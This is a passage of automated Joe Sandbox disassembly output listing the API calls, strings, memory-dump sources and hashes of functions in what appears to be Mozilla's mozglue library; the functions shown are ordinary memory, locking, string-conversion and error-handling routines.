Part of subcall function 6C54CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C54CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C55CEEA,?,?), ref: 6C54CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?,00000000,?), ref: 6C55D058

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f31488d827279fb6b19148c7f85939135903c2124a53c35e7e3b168c497f64da
Instruction ID: 3e606c06b106b44d810297bfae353050488be7c815772e1befce697cd70f8eb6
Opcode Fuzzy Hash: f31488d827279fb6b19148c7f85939135903c2124a53c35e7e3b168c497f64da
Instruction Fuzzy Hash: 27D15F71A04B46DFD708CF28C980B99B7E1BF89304F41866ED85987752EB31B9A5CB81

Function 6C511720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5117B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5118EE
free.MOZGLUE(?), ref: 6C511911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51194C

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 96581ab69a499afeedeb38d18ece87f3c8ad084c7904c212d32ed2c1b902d5d8
Instruction ID: 534c7c5ff63ed10341097ff0b3adb1de09488c9a53d304814f477fcaedce5723
Opcode Fuzzy Hash: 96581ab69a499afeedeb38d18ece87f3c8ad084c7904c212d32ed2c1b902d5d8
Instruction Fuzzy Hash: 5281A274A192159FDB04CF68DC889AFBBB1FF99314F0485ACE851ABB54D730E844CBA1

Function 6C525C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C525D40
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C525D67
__aulldiv.LIBCMT ref: 6C525DB4
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C525DED

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 21fccc5e052a0785e8d2daec71f02fc8f9f4ddc973aa0405c5bd44d3288658d8
Instruction ID: bd4e71fbf679516539b7c3a22615a6bff8b5ed249f90c433ec4554db5b5a98f9
Opcode Fuzzy Hash: 21fccc5e052a0785e8d2daec71f02fc8f9f4ddc973aa0405c5bd44d3288658d8
Instruction Fuzzy Hash: CD518F71E011298FCF08CFA9CC55AAEBBB1FB8A304F2A8719D811A7794D7746945CB90

Function 6C50CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C50CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C50CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C50CF4E

Strings

0, xrefs: 6C50CF30

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 383d5a03825224763ac54624a81ddbdb7a5b225498ca55defe146f9cecc1661f
Instruction ID: dbd4f5209ccd65b448601322f6b10e2a6e721b1be19d218b64b9867e000d4099
Opcode Fuzzy Hash: 383d5a03825224763ac54624a81ddbdb7a5b225498ca55defe146f9cecc1661f
Instruction Fuzzy Hash: C151F275A00216CFCB01CF18C890AAABBB5EF9A300F198599D8599F751D731BD06CBE1

Function 6C5677D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5677FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C567829

Part of subcall function 6C53CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5031A7), ref: 6C53CC45
Part of subcall function 6C53CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5031A7), ref: 6C53CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C56789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5678CF

Part of subcall function 6C504DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C504E5A
Part of subcall function 6C504DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C504E97

Part of subcall function 6C504290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C543EBD,6C543EBD,00000000), ref: 6C5042A9

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: fd16140fafa85412776ec465f1c051badd47dfa7822265e41ffb4959dfc2fb5d
Instruction ID: b8c8723f1521e4f3fec0f4e2c6f7b94e046a4329f4e2f1b0a8ef501eceb55b30
Opcode Fuzzy Hash: fd16140fafa85412776ec465f1c051badd47dfa7822265e41ffb4959dfc2fb5d
Instruction Fuzzy Hash: 01419D71904706DBD300DF29C88056AFBF4FFCA254F604A2EE4A987750EB70E959CB92

Function 6C546470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5482BC,?,?), ref: 6C54649B

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5464A9

Part of subcall function 6C53FA80: GetCurrentThreadId.KERNEL32 ref: 6C53FA8D
Part of subcall function 6C53FA80: AcquireSRWLockExclusive.KERNEL32(6C58F448), ref: 6C53FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C54653F
free.MOZGLUE(?), ref: 6C54655A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 317ee373046d4d0e9ffa83d8b9ae96e131bb463058a7ec7e7667c9f5be79e0df
Instruction ID: dd323f1108e99b331cc213312e703bf193806432111d2e89e6811c12913ca4ad
Opcode Fuzzy Hash: 317ee373046d4d0e9ffa83d8b9ae96e131bb463058a7ec7e7667c9f5be79e0df
Instruction Fuzzy Hash: EF316EB5A043159FD700CF14D88469ABBE4BF89314F41882EE89A87741EB30E918CB92

Function 6C53FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?), ref: 6C53FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?), ref: 6C53FFF5
free.MOZGLUE(?,?,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?), ref: 6C54001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C55D019,?,?,?,?,?,00000000,?,6C54DA31,00100000,?,?), ref: 6C54002A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: edfc74976d134140aaa2b80f68ff83b4ae24b5e132bc815f332880a1197bb23d
Instruction ID: bd50870881a15947ae02bd52192fbd4c0a2f870e57ef2ec50de31545adf0c440
Opcode Fuzzy Hash: edfc74976d134140aaa2b80f68ff83b4ae24b5e132bc815f332880a1197bb23d
Instruction Fuzzy Hash: 6F21D872A002159BD7189E789C948AFB7BAEBC53247254778E829D7780FB70AD0187E1

Function 6C51B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C51B4F5
AcquireSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51B502
ReleaseSRWLockExclusive.KERNEL32(6C58F4B8), ref: 6C51B542
free.MOZGLUE(?), ref: 6C51B578

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: fd098053327e17fb06b7f27f431fffa60853b1efb767555b001dfa6f8c5eaf1f
Instruction ID: 07b9abb74b2fa5fb3ad0478432c35c4cf26d8a58253e0388e9fe9184419792ce
Opcode Fuzzy Hash: fd098053327e17fb06b7f27f431fffa60853b1efb767555b001dfa6f8c5eaf1f
Instruction Fuzzy Hash: ED11FD30A09B10C7E311AF29CC04761B3B4FF9B318F12A70AE84952F12FBB1A5C48794

Function 6C543DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C50F20E,?), ref: 6C543DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C50F20E,00000000,?), ref: 6C543DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C543E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C543E0E

Part of subcall function 6C53CC00: GetCurrentProcess.KERNEL32(?,?,6C5031A7), ref: 6C53CC0D
Part of subcall function 6C53CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5031A7), ref: 6C53CC16

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ee74f326baa0ef6c795aba0b0ddd067b64f28521a8e8b020b07d7486281a94ce
Instruction ID: 1d01a7363c4af1e235e24081fc45a12c62ad2c08f7a2b3a1f2a47a3f13b2aad0
Opcode Fuzzy Hash: ee74f326baa0ef6c795aba0b0ddd067b64f28521a8e8b020b07d7486281a94ce
Instruction Fuzzy Hash: 0AF012B1501228BBD700AB54DC41DAB376DDB87624F054020FD0857741E735BD658AFB

Function 6C552050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C55201B,?,?,?,?,?,?,?,6C551F8F,?,?), ref: 6C552064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C55208E
free.MOZGLUE(?,?,?,00000000,?,6C55201B,?,?,?,?,?,?,?,6C551F8F,?,?), ref: 6C5520A3

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 43b3be57805badb3479440995a7d91bbb95a845ca5f4e74973fd9d4d23fe4eab
Instruction ID: 0d23ae03713b839928fe217b064e0a208a559f253df74362f913eff2b6313805
Opcode Fuzzy Hash: 43b3be57805badb3479440995a7d91bbb95a845ca5f4e74973fd9d4d23fe4eab
Instruction Fuzzy Hash: 08F0B471101A10DFC7119F16DC88B5BB7F8EF86364F11011AE54687711C776A805CBAA

Function 6C5585B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5585D3

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C558725

Strings

map/set<T> too long, xrefs: 6C558720

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 96bf214e26eaf8b982327e331248e79cbbf068b210e0fe99d19dedb2214558f7
Instruction ID: ae05b024ce37754aaed4150dc2c903fb0757a7ee0fbf8ef2c7a083189841c055
Opcode Fuzzy Hash: 96bf214e26eaf8b982327e331248e79cbbf068b210e0fe99d19dedb2214558f7
Instruction Fuzzy Hash: 9E518474620641CFD701CF18C884A5ABBF1BF9A318F58C18AD8594BB92C735EC95CF92

Function 6C50BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C50BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C50BE8F

Strings

0, xrefs: 6C50BE5B

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c5dce932f451839dd42b3312561f8b28ba735640274b3476f995b2e41be0ba2a
Instruction ID: 12e4cd7ce159388738ce5f89a69c65fcab43e36a511a0507332d0c40af01002b
Opcode Fuzzy Hash: c5dce932f451839dd42b3312561f8b28ba735640274b3476f995b2e41be0ba2a
Instruction Fuzzy Hash: 5341A172A09745CFC701DF28C881A9BB7F4AF8A348F004A1DF9859B611E730D959CB82

Function 6C543CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C543D19
mozalloc_abort.MOZGLUE(?), ref: 6C543D6C

Strings

d, xrefs: 6C543D58

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: b6b65c6929f787e28f96a756d6089d77d2e0c8873946236d992999ffd34acbc8
Instruction ID: bd6b868022999ba29037bf29b4005b9ed930a472948d0ebc06e795674a2183bc
Opcode Fuzzy Hash: b6b65c6929f787e28f96a756d6089d77d2e0c8873946236d992999ffd34acbc8
Instruction Fuzzy Hash: E6110135E04698DBDF019B69CC144EEB775EF86358F45D228DC499B622FB30A9C4C390

Function 6C514730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5144B2,6C58E21C,6C58F7F8), ref: 6C51473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C51474A

Strings

GetNtLoaderAPI, xrefs: 6C514744

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 9220218d4e4f67ecf22ac882b1d9c903eb9f02b5b37838b51d69a8d32077f927
Instruction ID: a54f0dbe2b57cb7c67af60659ea85034c901cfc754fe3300ae7a35d04a150ca2
Opcode Fuzzy Hash: 9220218d4e4f67ecf22ac882b1d9c903eb9f02b5b37838b51d69a8d32077f927
Instruction Fuzzy Hash: B40140753062649FDF00AF66CC4861E7BF9EB8B325B06546AE905C7710DB74D802CFA5

Function 6C566DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C566E22
__Init_thread_footer.LIBCMT ref: 6C566E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C566E1D

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 5cbaf87fabd72f3c99008c3828ac357585921b28767c8336fc75d743c3086f90
Instruction ID: 26d9144cf58e9693d2f3484741602e63cec8c66f05dd20cb94e197a5262779c8
Opcode Fuzzy Hash: 5cbaf87fabd72f3c99008c3828ac357585921b28767c8336fc75d743c3086f90
Instruction Fuzzy Hash: C8F05934607350CBDA008BAACC60A8333715B4B218F052365C40546FB1DF30BD26CBA7

Function 6C519E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C519EEF

Strings

Infinity, xrefs: 6C519EB7
NaN, xrefs: 6C519EC1

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b8ec75b8b3bca072fedf86d8280f5472c7fd418f7afe986d28d293e73d077790
Instruction ID: 7460488cda418c7958a040953e407b880e7240443305e3f3178a405367b36de6
Opcode Fuzzy Hash: b8ec75b8b3bca072fedf86d8280f5472c7fd418f7afe986d28d293e73d077790
Instruction Fuzzy Hash: 37F0AF70603261CAEB00DF58DC4974077B1B34B308F222B14C7040AB81E7356596CB9A

Function 6C516C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KTl,?,6C544B30,80000000,?,6C544AB7,?,6C5043CF,?,6C5042D2), ref: 6C516C42

Part of subcall function 6C51CA10: malloc.MOZGLUE(?), ref: 6C51CA26

moz_xmalloc.MOZGLUE(0KTl,?,6C544B30,80000000,?,6C544AB7,?,6C5043CF,?,6C5042D2), ref: 6C516C58

Strings

0KTl, xrefs: 6C516C33, 6C516C41, 6C516C57

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.2730708332.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730887261.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2730955123.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2731007912.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KTl
API String ID: 1967447596-930345151
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 87624251b712052eb1f516409c5e997f5ea87ad0de175e8098be1e83e97f8eab
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 35E086F2B5C7054AFB08D97C9C0D56A71C8CB742ACB044A35E822C6FC8FF55ED908151

Function 6C513850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C58F860), ref: 6C51385C
ReleaseSRWLockExclusive.KERNEL32(6C58F860,?), ref: 6C513871

Strings

,Xl, xrefs: 6C51387A

Memory Dump Source

Source File: 00000001.00000002.2730758647.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

